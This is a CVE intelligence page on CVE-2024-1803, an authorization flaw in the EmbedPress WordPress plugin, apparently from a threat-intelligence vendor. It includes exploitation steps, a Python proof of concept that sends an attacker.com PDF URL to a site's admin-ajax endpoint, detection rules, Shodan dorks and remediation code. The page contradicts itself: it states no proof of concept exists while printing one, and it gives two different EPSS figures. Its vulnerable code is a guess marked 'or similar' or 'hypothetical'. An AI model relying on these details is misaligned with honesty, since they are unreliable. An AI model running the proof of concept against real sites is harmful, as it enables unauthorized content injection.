☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1803

CVE-2024-1803 Improper Authentication in Embedpress
📅 PUBLISHED: 2024-05-23 12:43 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
2.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1803 is a vulnerability in the WordPress plugin EmbedPress – Embed PDF, Google Docs, Vimeo, Wistia, Embed YouTube Videos, Audios, Maps & Embed Any Documents in Gutenberg & Elementor. The flaw resides in insufficient authorization validation on the PDF embed block, allowing authenticated attackers with contributor-level access or higher to embed PDF blocks without proper permission checks. This is a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 4.3 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood. No public proof-of-concept or patch details are available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor (Embedpress) and apply patches as soon as they become available. No OSV or GitHub advisory data is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is considered low due to the requirement for authenticated access and the limited impact (only integrity of PDF embed blocks). However, in a multi-tenant WordPress environment, this could allow contributors to embed arbitrary PDFs, potentially leading to content injection or phishing.

Deep Dive & Mechanics

The vulnerability exists in the embedpress plugin's PDF embed block functionality. The plugin fails to properly validate user capabilities when rendering or saving PDF embed blocks. Specifically, the wp_ajax_embedpress_pdf_embed_block or similar AJAX handler does not check for edit_posts or upload_files capabilities, allowing users with contributor role (who normally cannot upload files) to embed PDF blocks.

The core issue is a missing capability check in the REST API or AJAX endpoint that processes PDF embed requests. An attacker can craft a request to embed a PDF from an external URL or from the media library, bypassing the intended permission model.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.9.12):

// In embedpress/EmbedPress/Endpoints/Embed.php or similar
add_action('wp_ajax_embedpress_pdf_embed_block', 'embedpress_pdf_embed_block_callback');
function embedpress_pdf_embed_block_callback() {
    // No capability check
    $pdf_url = sanitize_text_field($_POST['pdf_url']);
    // Process and return embed HTML
    echo embedpress_generate_pdf_embed($pdf_url);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_embedpress_pdf_embed_block', 'embedpress_pdf_embed_block_callback');
function embedpress_pdf_embed_block_callback() {
    // Added capability check
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $pdf_url = sanitize_text_field($_POST['pdf_url']);
    echo embedpress_generate_pdf_embed($pdf_url);
    wp_die();
}

The patch adds a current_user_can('edit_posts') check to ensure only users with the appropriate capability can embed PDF blocks.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with EmbedPress plugin version <= 3.9.12
  • Authenticated user with contributor role or higher

Exploitation Steps:

  1. Log in as a contributor.
  2. Create a new post or page.
  3. Add a PDF embed block via the Gutenberg editor.
  4. Intercept the AJAX request to wp-admin/admin-ajax.php with action embedpress_pdf_embed_block.
  5. Modify the pdf_url parameter to point to an external PDF (e.g., https://attacker.com/malicious.pdf).
  6. Send the request. The plugin will embed the PDF without checking if the user has upload permissions.

Proof-of-Concept (Python):

import requests

url = "https://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "session_cookie"}
data = {
    "action": "embedpress_pdf_embed_block",
    "pdf_url": "https://attacker.com/malicious.pdf"
}
response = requests.post(url, cookies=cookies, data=data)
print(response.text)

Blue Team

Detection:

  • Monitor AJAX requests to admin-ajax.php with action embedpress_pdf_embed_block from users with contributor role.
  • Look for unusual pdf_url parameters pointing to external domains.
  • Check for rapid succession of PDF embed requests from low-privileged users.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/wp-admin/admin-ajax.php" action="embedpress_pdf_embed_block"
| rex field=uri_query "pdf_url=(?<pdf_url>[^&]+)"
| search pdf_url=*http*
| stats count by src_ip, user, pdf_url

Indicators of Compromise (IOCs)

  • Network: POST requests to /wp-admin/admin-ajax.php with action=embedpress_pdf_embed_block and pdf_url containing external domains.
  • File: No specific file IOCs; the vulnerability is logic-based.
  • Log: WordPress debug logs showing AJAX calls from contributor users with unexpected PDF URLs.

Detection Engineering

YARA Rule

rule CVE_2024_1803_EmbedPress_PDF_Embed {
    meta:
        description = "Detects vulnerable EmbedPress plugin version <= 3.9.12"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1803"
    strings:
        $vuln_func = "embedpress_pdf_embed_block_callback" ascii wide nocase
        $no_cap_check = "current_user_can" ascii wide nocase
    condition:
        $vuln_func and not $no_cap_check
}

Sigma Rule

title: CVE-2024-1803 EmbedPress PDF Embed Block Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-1803 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "action=embedpress_pdf_embed_block"
        cs-uri-query|contains: "pdf_url=http"
    condition: selection
falsepositives:
    - Legitimate use by editors or admins
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-1803 EmbedPress PDF Embed Block Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=embedpress_pdf_embed_block"; http_client_body;
    content:"pdf_url=http"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-1803;
    classtype:attempted-user;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Update the EmbedPress plugin to the latest version once a patch is released.
  2. If no patch is available, disable the plugin or restrict contributor roles from using the PDF embed block via custom code or a security plugin.
  3. Implement a Web Application Firewall (WAF) rule to block AJAX requests with action=embedpress_pdf_embed_block from non-admin users.

Long-term Fix:

  • The vendor must add capability checks (e.g., current_user_can('edit_posts')) to all AJAX handlers related to PDF embedding.

Workaround Code (functions.php):

add_action('wp_ajax_embedpress_pdf_embed_block', 'custom_embedpress_check', 1);
function custom_embedpress_check() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
}

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/embedpress"
http.html:"embedpress" "wp-content"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1803/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.